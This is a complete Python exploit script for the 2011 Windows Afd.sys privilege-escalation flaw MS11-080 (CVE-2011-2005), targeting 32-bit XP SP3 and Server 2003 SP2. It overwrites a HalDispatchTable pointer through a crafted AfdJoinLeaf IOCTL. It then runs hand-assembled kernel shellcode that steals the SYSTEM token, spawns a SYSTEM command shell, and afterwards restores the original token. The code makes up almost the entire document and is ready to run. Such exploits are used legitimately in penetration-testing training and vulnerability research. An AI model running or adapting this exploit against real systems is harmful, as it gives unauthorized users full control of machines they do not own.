30/11/11

MS11-080 Afd.sys Privilege Escalation

################################################################################
######### MS11-080 - CVE-2011-2005 Afd.sys Privilege Escalation Exploit ########
######### Author: ryujin@offsec.com - Matteo Memelli ########
######### Spaghetti & Pwnsauce ########
######### yuck! 0xbaadf00d Elwood@mac&cheese.com ########
######### ########
######### Thx to dookie(lifesaver)2000ca, dijital1 and ronin ########
######### for helping out! ########
######### ########
######### To my Master Shifu muts: ########
######### "So that's it, I just need inner peace?" ;) ########
######### ########
######### Exploit tested on the following 32bits systems: ########
######### Win XPSP3 Eng, Win 2K3SP2 Standard/Enterprise Eng ########
################################################################################

from ctypes import (windll, CDLL, Structure, byref, sizeof, POINTER,
c_char, c_short, c_ushort, c_int, c_uint, c_ulong,
c_void_p, c_long, c_char_p)
from ctypes.wintypes import HANDLE, DWORD
import socket, time, os, struct, sys
from optparse import OptionParser

usage = "%prog -O TARGET_OS"
parser = OptionParser(usage=usage)
parser.add_option("-O", "--target-os", type="string",
action="store", dest="target_os",
help="Target OS. Accepted values: XP, 2K3")
(options, args) = parser.parse_args()
OS = options.target_os
if not OS or OS.upper() not in ['XP','2K3']:
parser.print_help()
sys.exit()
OS = OS.upper()

kernel32 = windll.kernel32
ntdll = windll.ntdll
Psapi = windll.Psapi

def findSysBase(drvname=None):
ARRAY_SIZE = 1024
myarray = c_ulong * ARRAY_SIZE
lpImageBase = myarray()
cb = c_int(1024)
lpcbNeeded = c_long()
drivername_size = c_long()
drivername_size.value = 48
Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded))
for baseaddy in lpImageBase:
drivername = c_char_p("\x00"*drivername_size.value)
if baseaddy:
Psapi.GetDeviceDriverBaseNameA(baseaddy, drivername,
drivername_size.value)
if drvname:
if drivername.value.lower() == drvname:
print "[+] Retrieving %s info..." % drvname
print "[+] %s base address: %s" % (drvname, hex(baseaddy))
return baseaddy
else:
if drivername.value.lower().find("krnl") !=-1:
print "[+] Retrieving Kernel info..."
print "[+] Kernel version:", drivername.value
print "[+] Kernel base address: %s" % hex(baseaddy)
return (baseaddy, drivername.value)
return None

print "[>] MS11-080 Privilege Escalation Exploit"
print "[>] Matteo Memelli - ryujin@offsec.com"
print "[>] Release Date 28/11/2011"

WSAGetLastError = windll.Ws2_32.WSAGetLastError
WSAGetLastError.argtypes = ()
WSAGetLastError.restype = c_int
SOCKET = c_int
WSASocket = windll.Ws2_32.WSASocketA
WSASocket.argtypes = (c_int, c_int, c_int, c_void_p, c_uint, DWORD)
WSASocket.restype = SOCKET
closesocket = windll.Ws2_32.closesocket
closesocket.argtypes = (SOCKET,)
closesocket.restype = c_int
connect = windll.Ws2_32.connect
connect.argtypes = (SOCKET, c_void_p, c_int)
connect.restype = c_int

class sockaddr_in(Structure):
_fields_ = [
("sin_family", c_short),
("sin_port", c_ushort),
("sin_addr", c_ulong),
("sin_zero", c_char * 8),
]

## Create our deviceiocontrol socket handle
client = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP,
None, 0, 0)
if client == ~0:
raise OSError, "WSASocket: %s" % (WSAGetLastError(),)
try:
addr = sockaddr_in()
addr.sin_family = socket.AF_INET
addr.sin_port = socket.htons(4455)
addr.sin_addr = socket.htonl(0x7f000001) # 127.0.0.1
## We need to connect to a closed port, socket state must be CONNECTING
connect(client, byref(addr), sizeof(addr))
except:
closesocket(client)
raise

baseadd = c_int(0x1001)
MEMRES = (0x1000 | 0x2000)
PAGEEXE = 0x00000040
Zerobits = c_int(0)
RegionSize = c_int(0x1000)
written = c_int(0)
## This will trigger the path to AfdRestartJoin
irpstuff = ("\x41\x41\x41\x41\x42\x42\x42\x42"
"\x00\x00\x00\x00\x44\x44\x44\x44"
"\x01\x00\x00\x00"
"\xe8\x00" + "4" + "\xf0\x00" + "\x45"*231)
## Allocate space for the input buffer
dwStatus = ntdll.NtAllocateVirtualMemory(-1,
byref(baseadd),
0x0,
byref(RegionSize),
MEMRES,
PAGEEXE)
# Copy input buffer to it
kernel32.WriteProcessMemory(-1, 0x1000, irpstuff, 0x100, byref(written))
startPage = c_int(0x00020000)
kernel32.VirtualProtect(startPage, 0x1000, PAGEEXE, byref(written))
################################# KERNEL INFO ##################################
lpDriver = c_char_p()
lpPath = c_char_p()
lpDrvAddress = c_long()
(krnlbase, kernelver) = findSysBase()
hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1)
HalDispatchTable = kernel32.GetProcAddress(hKernel, "HalDispatchTable")
HalDispatchTable -= hKernel
HalDispatchTable += krnlbase
print "[+] HalDispatchTable address:", hex(HalDispatchTable)
halbase = findSysBase("hal.dll")
## WinXP SP3
if OS == "XP":
HaliQuerySystemInformation = halbase+0x16bba # Offset for XPSP3
HalpSetSystemInformation = halbase+0x19436 # Offset for XPSP3
## Win2k3 SP2
else:
HaliQuerySystemInformation = halbase+0x1fa1e # Offset for WIN2K3
HalpSetSystemInformation = halbase+0x21c60 # Offset for WIN2K3
print "[+] HaliQuerySystemInformation address:", hex(HaliQuerySystemInformation)
print "[+] HalpSetSystemInformation address:", hex(HalpSetSystemInformation)

################################# EXPLOITATION #################################
shellcode_address_dep = 0x0002071e
shellcode_address_nodep = 0x000207b8
padding = "\x90"*2
HalDispatchTable0x4 = HalDispatchTable + 0x4
HalDispatchTable0x8 = HalDispatchTable + 0x8
## tokenbkaddr = 0x00020900
if OS == "XP":
_KPROCESS = "\x44"
_TOKEN = "\xc8"
_UPID = "\x84"
_APLINKS = "\x88"
else:
_KPROCESS = "\x38"
_TOKEN = "\xd8"
_UPID = "\x94"
_APLINKS = "\x98"

restore_ptrs = "\x31\xc0" + \
"\xb8" + struct.pack("L", HalpSetSystemInformation) + \
"\xa3" + struct.pack("L", HalDispatchTable0x8) + \
"\xb8" + struct.pack("L", HaliQuerySystemInformation) + \
"\xa3" + struct.pack("L", HalDispatchTable0x4)
tokenstealing = "\x52" +\
"\x53" +\
"\x33\xc0" +\
"\x64\x8b\x80\x24\x01\x00\x00" +\
"\x8b\x40" + _KPROCESS +\
"\x8b\xc8" +\
"\x8b\x98" + _TOKEN + "\x00\x00\x00" +\
"\x89\x1d\x00\x09\x02\x00" +\
"\x8b\x80" + _APLINKS + "\x00\x00\x00" +\
"\x81\xe8" + _APLINKS + "\x00\x00\x00" +\
"\x81\xb8" + _UPID + "\x00\x00\x00\x04\x00\x00\x00" +\
"\x75\xe8" +\
"\x8b\x90" + _TOKEN + "\x00\x00\x00" +\
"\x8b\xc1" +\
"\x89\x90" + _TOKEN + "\x00\x00\x00" +\
"\x5b" +\
"\x5a" +\
"\xc2\x10"
restore_token = "\x52" +\
"\x33\xc0" +\
"\x64\x8b\x80\x24\x01\x00\x00" +\
"\x8b\x40" + _KPROCESS +\
"\x8b\x15\x00\x09\x02\x00" +\
"\x89\x90" + _TOKEN + "\x00\x00\x00" +\
"\x5a" +\
"\xc2\x10"

shellcode = padding + restore_ptrs + tokenstealing
shellcode_size = len(shellcode)
orig_size = shellcode_size
# Write shellcode in userspace (dep)
kernel32.WriteProcessMemory(-1, shellcode_address_dep, shellcode,
shellcode_size, byref(written))
# Write shellcode in userspace *(nodep)
kernel32.WriteProcessMemory(-1, shellcode_address_nodep, shellcode,
shellcode_size, byref(written))
## Trigger Pointer Overwrite
print "[*] Triggering AFDJoinLeaf pointer overwrite..."
IOCTL = 0x000120bb # AFDJoinLeaf
inputbuffer = 0x1004
inputbuffer_size = 0x108
outputbuffer_size = 0x0 # Bypass Probe for Write
outputbuffer = HalDispatchTable0x4 + 0x1 # HalDispatchTable+0x4+1
IoStatusBlock = c_ulong()
NTSTATUS = ntdll.ZwDeviceIoControlFile(client,
None,
None,
None,
byref(IoStatusBlock),
IOCTL,
inputbuffer,
inputbuffer_size,
outputbuffer,
outputbuffer_size
)
## Trigger shellcode
inp = c_ulong()
out = c_ulong()
inp = 0x1337
hola = ntdll.NtQueryIntervalProfile(inp, byref(out))
## Spawn a system shell, w00t!
print "[*] Spawning a SYSTEM shell..."
os.system("cmd.exe /T:C0 /K cd c:\\windows\\system32")

############################## POST EXPLOITATION ###############################
print "[*] Restoring token..."
## Restore the thingie
shellcode = padding + restore_ptrs + restore_token
shellcode_size = len(shellcode)
trail_padding = (orig_size - shellcode_size) * "\x00"
shellcode += trail_padding
shellcode_size += (orig_size - shellcode_size)
## Write restore shellcode in userspace (dep)
kernel32.WriteProcessMemory(-1, shellcode_address_dep, shellcode,
shellcode_size, byref(written))
## Write restore shellcode in userspace (nodep)
kernel32.WriteProcessMemory(-1, shellcode_address_nodep, shellcode,
shellcode_size, byref(written))
## Overwrite HalDispatchTable once again
NTSTATUS = ntdll.ZwDeviceIoControlFile(client,
None,
None,
None,
byref(IoStatusBlock),
IOCTL,
inputbuffer,
inputbuffer_size,
outputbuffer,
outputbuffer_size
)
## Trigger restore shellcode
hola = ntdll.NtQueryIntervalProfile(inp, byref(out))
print "[+] Restore done! Have a nice day :)"

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